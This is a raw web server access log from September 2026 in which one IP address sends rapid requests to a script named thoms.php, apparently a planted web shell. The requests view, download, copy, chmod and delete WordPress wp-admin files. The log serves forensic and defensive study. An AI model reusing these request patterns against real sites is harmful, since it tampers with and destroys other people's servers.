45.135.193.11 - - [11/Sep/2026:23:21:48 -0400] "GET /big-wife.com.tw/wp-admin/import.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:49 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-admin.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-admin.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:49 -0400] "GET /thoms.php?chmod=ms-delete-site.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=ms-delete-site.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:49 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmedia-upload.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmedia-upload.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:49 -0400] "GET /thoms.php?chmod=update.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:49 -0400] "GET /thoms.php?chmod=user&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=user&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:49 -0400] "GET /thoms.php?del=admin-ajax.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28822 "http://163.245.207.76:443/thoms.php?del=admin-ajax.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:49 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Finstall.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Finstall.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:49 -0400] "GET /thoms.php?chmod=load-styles.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=load-styles.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:49 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=media-upload.php HTTP/1.1" 200 13466 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=media-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:49 -0400] "GET /big-wife.com.tw/wp-admin/plugin-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:49 -0400] "GET /big-wife.com.tw/wp-admin/theme-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:49 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fcss HTTP/1.1" 200 29114 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:50 -0400] "GET /big-wife.com.tw/wp-admin/privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:50 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcustomize.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcustomize.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:50 -0400] "GET /thoms.php?chmod=plugins.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=plugins.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:50 -0400] "GET /thoms.php?chmod=options-media.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=options-media.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:50 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=revision.php HTTP/1.1" 200 14224 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:50 -0400] "GET /thoms.php?chmod=privacy-policy-guide.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=privacy-policy-guide.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:50 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=users.php HTTP/1.1" 200 19533 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:50 -0400] "GET /thoms.php?dl=media-upload.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=media-upload.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:51 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-edit.php HTTP/1.1" 200 12024 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:51 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-writing.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-writing.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:51 -0400] "GET /thoms.php?del=plugins.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28852 "http://163.245.207.76:443/thoms.php?del=plugins.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:51 -0400] "GET /thoms.php?chmod=images&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=images&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:51 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=themes.php HTTP/1.1" 200 23805 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:51 -0400] "GET /thoms.php?chmod=custom-header.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=custom-header.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:51 -0400] "GET /big-wife.com.tw/wp-admin/customize.php HTTP/1.1" 403 1171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:51 -0400] "GET /thoms.php?chmod=link-manager.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=link-manager.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:51 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=media.php HTTP/1.1" 200 12322 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:51 -0400] "GET /thoms.php?dl=install.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=install.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:51 -0400] "GET /thoms.php?dl=ms-themes.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=ms-themes.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:52 -0400] "GET /big-wife.com.tw/wp-admin/admin-functions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:52 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Findex.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Findex.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:52 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=custom-header.php HTTP/1.1" 200 12159 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=custom-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:52 -0400] "GET /thoms.php?del=my-sites.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=my-sites.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:52 -0400] "GET /thoms.php?dl=credits.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=credits.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:52 -0400] "GET /thoms.php?del=link-add.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?del=link-add.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-users.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-users.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:53 -0400] "GET /thoms.php?chmod=edit-comments.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=edit-comments.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:53 -0400] "GET /thoms.php?dl=plugins.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28863 "http://163.245.207.76:443/thoms.php?dl=plugins.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:53 -0400] "GET /thoms.php?del=network.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=network.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:53 -0400] "GET /thoms.php?chmod=menu.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=menu.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-writing.php HTTP/1.1" 200 15472 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-writing.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:53 -0400] "GET /thoms.php?dl=options-privacy.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?dl=options-privacy.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-form-comment.php HTTP/1.1" 200 16921 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-form-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fimport.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fimport.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:53 -0400] "GET /thoms.php?dl=admin-post.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28852 "http://163.245.207.76:443/thoms.php?dl=admin-post.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:53 -0400] "GET /thoms.php?dl=custom-header.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=custom-header.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:54 -0400] "GET /thoms.php?chmod=ms-sites.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=ms-sites.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:54 -0400] "GET /thoms.php?chmod=options-head.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=options-head.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fprivacy.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fprivacy.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:54 -0400] "GET /thoms.php?del=press-this.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=press-this.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:54 -0400] "GET /thoms.php?chmod=authorize-application.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=authorize-application.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:54 -0400] "GET /thoms.php?dl=contribute.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=contribute.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:54 -0400] "GET /thoms.php?dl=erase-personal-data.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?dl=erase-personal-data.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:54 -0400] "GET /thoms.php?chmod=about.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=about.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:54 -0400] "GET /big-wife.com.tw/wp-admin/admin-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:54 -0400] "GET /big-wife.com.tw/wp-admin/media-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:55 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=link-manager.php HTTP/1.1" 200 13903 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=link-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:55 -0400] "GET /thoms.php?chmod=site-editor.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=site-editor.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:55 -0400] "GET /thoms.php?del=user-new.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=user-new.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:55 -0400] "GET /big-wife.com.tw/wp-admin/load-styles.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:55 -0400] "GET /thoms.php?del=css&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=css&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:55 -0400] "GET /thoms.php?del=admin-footer.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=admin-footer.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:55 -0400] "GET /thoms.php?del=edit-form-blocks.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?del=edit-form-blocks.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:55 -0400] "GET /thoms.php?chmod=options-discussion.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=options-discussion.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:55 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=update.php HTTP/1.1" 200 15241 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:55 -0400] "GET /thoms.php?del=update-core.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28862 "http://163.245.207.76:443/thoms.php?del=update-core.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:55 -0400] "GET /thoms.php?del=update.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28855 "http://163.245.207.76:443/thoms.php?del=update.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:56 -0400] "GET /thoms.php?dl=ms-edit.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?dl=ms-edit.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
